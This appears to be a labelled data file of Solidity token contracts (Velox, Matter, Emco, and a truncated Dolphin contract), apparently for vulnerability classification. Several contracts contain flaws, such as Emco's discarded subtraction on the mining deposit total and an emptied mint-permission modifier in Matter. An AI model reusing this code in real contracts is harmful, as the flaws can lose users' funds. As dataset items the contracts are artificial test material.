function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract VeloxToken is ERC20, Ownable {
using SafeMath for uint256;
string public constant name = "Velox";
string public constant symbol = "VLX";
uint8 public constant decimals = 2;
uint256 public constant STAKE_MIN_AGE = 64 seconds * 20;
uint256 public constant STAKE_APR = 13;
uint256 public constant MAX_TOTAL_SUPPLY = 100 * (10 ** (6 + uint256(decimals)));
bool public balancesInitialized = false;
struct transferIn {
uint64 amount;
uint64 time;
}
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private allowed;
mapping (address => transferIn[]) transferIns;
uint256 private totalSupply_;
event Mint(address indexed to, uint256 amount);
modifier canMint() {
require(totalSupply_ < MAX_TOTAL_SUPPLY);
_;
}
constructor() public {
totalSupply_ = 0;
}
function mint() public canMint returns (bool) {
if (balances[msg.sender] <= 0) return false;
if (transferIns[msg.sender].length <= 0) return false;
uint reward = _getStakingReward(msg.sender);
if (reward <= 0) return false;
_mint(msg.sender, reward);
emit Mint(msg.sender, reward);
return true;
}
function getCoinAge() external view returns (uint256) {
return _getCoinAge(msg.sender, block.timestamp);
}
function _getStakingReward(address _address) internal view returns (uint256) {
uint256 coinAge = _getCoinAge(_address, block.timestamp);
if (coinAge <= 0) return 0;
return (coinAge * STAKE_APR).div(365 * 100);
}
function _getCoinAge(address _address, uint256 _now) internal view returns (uint256 _coinAge) {
if (transferIns[_address].length <= 0) return 0;
for (uint256 i = 0; i < transferIns[_address].length; i++) {
if (_now < uint256(transferIns[_address][i].time).add(STAKE_MIN_AGE)) continue;
uint256 coinSeconds = _now.sub(uint256(transferIns[_address][i].time));
_coinAge = _coinAge.add(uint256(transferIns[_address][i].amount).mul(coinSeconds).div(1 days));
}
}
function initBalances(address[] _accounts, uint64[] _amounts) external onlyOwner {
require(!balancesInitialized);
require(_accounts.length > 0 && _accounts.length == _amounts.length);
uint256 total = 0;
for (uint256 i = 0; i < _amounts.length; i++) total = total.add(uint256(_amounts[i]));
require(total <= MAX_TOTAL_SUPPLY);
for (uint256 j = 0; j < _accounts.length; j++) _mint(_accounts[j], uint256(_amounts[j]));
}
function completeInitialization() external onlyOwner {
require(!balancesInitialized);
balancesInitialized = true;
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
if (msg.sender == _to) return mint();
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
if (transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
uint64 time = uint64(block.timestamp);
transferIns[msg.sender].push(transferIn(uint64(balances[msg.sender]), time));
transferIns[_to].push(transferIn(uint64(_value), time));
return true;
}
function batchTransfer(address[] _to, uint256[] _values) public returns (bool) {
require(_to.length == _values.length);
for (uint256 i = 0; i < _to.length; i++) require(transfer(_to[i], _values[i]));
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
if (transferIns[_from].length > 0) delete transferIns[_from];
uint64 time = uint64(block.timestamp);
transferIns[_from].push(transferIn(uint64(balances[_from]), time));
transferIns[_to].push(transferIn(uint64(_value), time));
return true;
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function _mint(address _account, uint256 _amount) internal {
require(_account != 0);
totalSupply_ = totalSupply_.add(_amount);
balances[_account] = balances[_account].add(_amount);
if (transferIns[_account].length > 0) delete transferIns[_account];
transferIns[_account].push(transferIn(uint64(balances[_account]), uint64(block.timestamp)));
emit Transfer(address(0), _account, _amount);
}
} | 0 | 233 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(
address _to,
uint256 _amount
)
public
returns (bool)
{
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract MatterToken is DetailedERC20, StandardToken, PausableToken, CappedToken, BurnableToken {
using SafeMath for uint256;
event MintApprovalChanged(address indexed minter, uint256 newValue);
event MintWithData(address indexed to, uint256 amount, bytes data);
mapping (address => uint256) mintApprovals;
modifier hasMintPermission() {
_;
}
constructor(uint256 _cap, address[] _holders, uint256[] _amounts)
DetailedERC20("Matter", "MTR", 18)
CappedToken(_cap)
public
{
require(
_holders.length == _amounts.length,
"_holers and _amounts contain different number of items"
);
for (uint256 i = 0; i < _holders.length; ++i) {
address holder = _holders[i];
uint256 amount = _amounts[i];
totalSupply_ = totalSupply_.add(amount);
balances[holder] = balances[holder].add(amount);
emit Mint(holder, amount);
emit Transfer(address(0), holder, amount);
}
require(totalSupply_ <= _cap, "initial total supply is more than cap");
}
function burn(uint256 _value) public whenNotPaused {
super.burn(_value);
}
function batchTransfer(address[] _to, uint256[] _amounts) public whenNotPaused {
require(_to.length == _amounts.length, "_to and _amounts contain different number of items");
for (uint256 i = 0; i < _to.length; ++i) {
transfer(_to[i], _amounts[i]);
}
}
function batchMint(address[] _to, uint256[] _amounts) public whenNotPaused {
require(_to.length == _amounts.length, "_to and _amounts contain different number of items");
uint256 totalAmount = 0;
for (uint256 i = 0; i < _to.length; ++i) {
totalAmount = totalAmount.add(_amounts[i]);
super.mint(_to[i], _amounts[i]);
}
_decreaseMintApprovalAfterMint(msg.sender, totalAmount);
}
function batchMintWithData(address[] _to, uint256[] _amounts, bytes _data) public whenNotPaused {
require(_to.length == _amounts.length, "_to and _amounts contain different number of items");
uint256 totalAmount = 0;
for (uint256 i = 0; i < _to.length; ++i) {
emit MintWithData(_to[i], _amounts[i], _data);
totalAmount = totalAmount.add(_amounts[i]);
super.mint(_to[i], _amounts[i]);
}
_decreaseMintApprovalAfterMint(msg.sender, totalAmount);
}
function mint(address _to, uint256 _amount)
public
whenNotPaused
returns (bool)
{
_decreaseMintApprovalAfterMint(msg.sender, _amount);
return super.mint(_to, _amount);
}
function mintWithData(address _to, uint256 _amount, bytes _data)
public
whenNotPaused
returns (bool)
{
_decreaseMintApprovalAfterMint(msg.sender, _amount);
emit MintWithData(_to, _amount, _data);
return super.mint(_to, _amount);
}
function _decreaseMintApprovalAfterMint(address _minter, uint256 _mintedAmount) internal {
if (_minter != owner) {
uint256 approval = mintApprovals[_minter];
require(approval >= _mintedAmount, "mint approval is insufficient to mint this amount");
mintApprovals[_minter] = approval.sub(_mintedAmount);
}
}
function increaseMintApproval(address _minter, uint256 _addedValue)
public
whenNotPaused
onlyOwner
{
require(_minter != owner, "cannot set mint approval for owner");
mintApprovals[_minter] = mintApprovals[_minter].add(_addedValue);
emit MintApprovalChanged(_minter, mintApprovals[_minter]);
}
function decreaseMintApproval(address _minter, uint256 _subtractedValue)
public
whenNotPaused
onlyOwner
{
require(_minter != owner, "cannot set mint approval for owner");
uint256 approval = mintApprovals[_minter];
if (_subtractedValue >= approval) {
mintApprovals[_minter] = 0;
} else {
mintApprovals[_minter] = approval.sub(_subtractedValue);
}
emit MintApprovalChanged(_minter, mintApprovals[_minter]);
}
function getMintApproval(address _minter) public view returns (uint256) {
return mintApprovals[_minter];
}
function getMintLimit(address _minter) public view returns (uint256) {
uint256 capLeft = cap.sub(totalSupply_);
if (_minter == owner) {
return capLeft;
}
uint256 approval = mintApprovals[_minter];
return approval < capLeft ? approval : capLeft;
}
} | 1 | 2,178 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract EmcoToken is StandardToken, Ownable {
string public constant name = "EmcoToken";
string public constant symbol = "EMCO";
uint8 public constant decimals = 18;
uint public constant INITIAL_SUPPLY = 1500000 * (10 ** uint(decimals));
uint public constant MAX_SUPPLY = 36000000 * (10 ** uint(decimals));
mapping (address => uint) public miningBalances;
mapping (address => uint) public lastMiningBalanceUpdateTime;
address systemAddress;
uint public constant DAY_MINING_DEPOSIT_LIMIT = 360000 * (10 ** uint(decimals));
uint public constant TOTAL_MINING_DEPOSIT_LIMIT = 3600000 * (10 ** uint(decimals));
uint currentDay;
uint currentDayDeposited;
uint public miningTotalDeposited;
mapping(address => bytes32) public userReferralCodes;
mapping(bytes32 => address) public referralCodeOwners;
mapping(address => address) public referrals;
event Mine(address indexed beneficiary, uint value);
event MiningBalanceUpdated(address indexed owner, uint amount, bool isDeposit);
constructor() public {
balances[msg.sender] = INITIAL_SUPPLY;
systemAddress = msg.sender;
totalSupply_ = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function setReferralCode(bytes32 _code) public returns (bytes32) {
require(_code != "", "Ref code should not be empty");
require(referralCodeOwners[_code] == address(0), "This referral code is already used");
require(userReferralCodes[msg.sender] == "", "Referal code is already set");
userReferralCodes[msg.sender] = _code;
referralCodeOwners[_code] = msg.sender;
return userReferralCodes[msg.sender];
}
function setReferral(bytes32 _code) public {
require(referralCodeOwners[_code] != address(0), "Invalid referral code");
require(referrals[msg.sender] == address(0), "You already have a referrer");
address referrer = referralCodeOwners[_code];
require(referrer != msg.sender, "Can not invite yourself");
referrals[msg.sender] = referrer;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner].add(miningBalances[_owner]);
}
function miningBalanceOf(address _owner) public view returns (uint balance) {
return miningBalances[_owner];
}
function depositToMiningBalance(uint _amount) public {
require(balances[msg.sender] >= _amount, "not enough tokens");
require(getCurrentDayDeposited().add(_amount) <= DAY_MINING_DEPOSIT_LIMIT,
"Day mining deposit exceeded");
require(miningTotalDeposited.add(_amount) <= TOTAL_MINING_DEPOSIT_LIMIT,
"Total mining deposit exceeded");
balances[msg.sender] = balances[msg.sender].sub(_amount);
miningBalances[msg.sender] = miningBalances[msg.sender].add(_amount);
miningTotalDeposited = miningTotalDeposited.add(_amount);
updateCurrentDayDeposited(_amount);
lastMiningBalanceUpdateTime[msg.sender] = now;
emit MiningBalanceUpdated(msg.sender, _amount, true);
}
function withdrawFromMiningBalance(uint _amount) public {
require(miningBalances[msg.sender] >= _amount, "not enough tokens on mining balance");
miningBalances[msg.sender] = miningBalances[msg.sender].sub(_amount);
balances[msg.sender] = balances[msg.sender].add(_amount);
miningTotalDeposited.sub(_amount);
lastMiningBalanceUpdateTime[msg.sender] = now;
emit MiningBalanceUpdated(msg.sender, _amount, false);
}
function mine() public {
require(totalSupply_ < MAX_SUPPLY, "mining is over");
uint reward = getReward(totalSupply_);
uint daysForReward = getDaysForReward();
uint mintedAmount = miningBalances[msg.sender].mul(reward.sub(1000000000))
.mul(daysForReward).div(100000000000);
require(mintedAmount != 0, "mining will not produce any reward");
uint amountToBurn = miningBalances[msg.sender].mul(daysForReward).div(100);
if(totalSupply_.add(mintedAmount) > MAX_SUPPLY) {
uint availableToMint = MAX_SUPPLY.sub(totalSupply_);
amountToBurn = availableToMint.div(mintedAmount).mul(amountToBurn);
mintedAmount = availableToMint;
}
totalSupply_ = totalSupply_.add(mintedAmount);
miningBalances[msg.sender] = miningBalances[msg.sender].sub(amountToBurn);
balances[msg.sender] = balances[msg.sender].add(amountToBurn);
uint userReward;
uint referrerReward = 0;
address referrer = referrals[msg.sender];
if(referrer == address(0)) {
userReward = mintedAmount.mul(85).div(100);
} else {
userReward = mintedAmount.mul(86).div(100);
referrerReward = mintedAmount.div(100);
balances[referrer] = balances[referrer].add(referrerReward);
emit Mine(referrer, referrerReward);
emit Transfer(address(0), referrer, referrerReward);
}
balances[msg.sender] = balances[msg.sender].add(userReward);
emit Mine(msg.sender, userReward);
emit Transfer(address(0), msg.sender, userReward);
miningTotalDeposited = miningTotalDeposited.sub(amountToBurn);
emit MiningBalanceUpdated(msg.sender, amountToBurn, false);
uint systemFee = mintedAmount.sub(userReward).sub(referrerReward);
balances[systemAddress] = balances[systemAddress].add(systemFee);
emit Mine(systemAddress, systemFee);
emit Transfer(address(0), systemAddress, systemFee);
lastMiningBalanceUpdateTime[msg.sender] = now;
}
function setSystemAddress(address _systemAddress) public onlyOwner {
systemAddress = _systemAddress;
}
function getCurrentDayDeposited() public view returns (uint) {
if(now / 1 days == currentDay) {
return currentDayDeposited;
} else {
return 0;
}
}
function getDaysForReward() public view returns (uint rewardDaysNum){
if(lastMiningBalanceUpdateTime[msg.sender] == 0) {
return 0;
} else {
uint value = (now - lastMiningBalanceUpdateTime[msg.sender]) / (1 days);
if(value > 100) {
return 100;
} else {
return value;
}
}
}
function getReward(uint _totalSupply) public pure returns (uint rewardPercent){
uint rewardFactor = 1000000 * (10 ** uint256(decimals));
uint decreaseFactor = 41666666;
if(_totalSupply < 23 * rewardFactor) {
return 2000000000 - (decreaseFactor.mul(_totalSupply.div(rewardFactor)));
}
if(_totalSupply < MAX_SUPPLY) {
return 1041666666;
} else {
return 1000000000;
}
}
function updateCurrentDayDeposited(uint _addedTokens) private {
if(now / 1 days == currentDay) {
currentDayDeposited = currentDayDeposited.add(_addedTokens);
} else {
currentDay = now / 1 days;
currentDayDeposited = _addedTokens;
}
}
}
contract EmcoVoucher is Ownable {
address signerAddress;
EmcoToken public token;
mapping (uint => bool) usedNonces;
event VoucherRedemption(address indexed caller, uint indexed nonce, uint amount);
constructor(EmcoToken _token) public {
require(_token != address(0), "token address should not be empty");
token = _token;
}
function setSignerAddress(address _address) public onlyOwner {
require(_address != address(0), "signer address should not be empty");
signerAddress = _address;
}
function withdrawTokens(address _to, uint _amount) public onlyOwner {
token.transfer(_to, _amount);
}
function isNonceUsed(uint _nonce) public view returns (bool isUsed) {
return usedNonces[_nonce];
}
function activateVoucher(uint256 nonce, uint256 amount, bytes signature) public {
require(!usedNonces[nonce], "nonce is already used");
require(nonce != 0, "nonce should be greater than zero");
require(amount != 0, "amount should be greater than zero");
usedNonces[nonce] = true;
address beneficiary = msg.sender;
bytes32 message = prefixed(keccak256(abi.encodePacked(
this,
nonce,
amount,
beneficiary)));
address signedBy = recoverSigner(message, signature);
require(signedBy == signerAddress);
require(token.transfer(beneficiary, amount));
emit VoucherRedemption(msg.sender, nonce, amount);
}
function splitSignature(bytes sig) internal pure returns (uint8, bytes32, bytes32) {
require(sig.length == 65);
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
return (v, r, s);
}
function recoverSigner(bytes32 message, bytes sig) internal pure returns (address) {
uint8 v;
bytes32 r;
bytes32 s;
(v, r, s) = splitSignature(sig);
return ecrecover(message, v, r, s);
}
function prefixed(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
} | 0 | 931 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Dolphin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
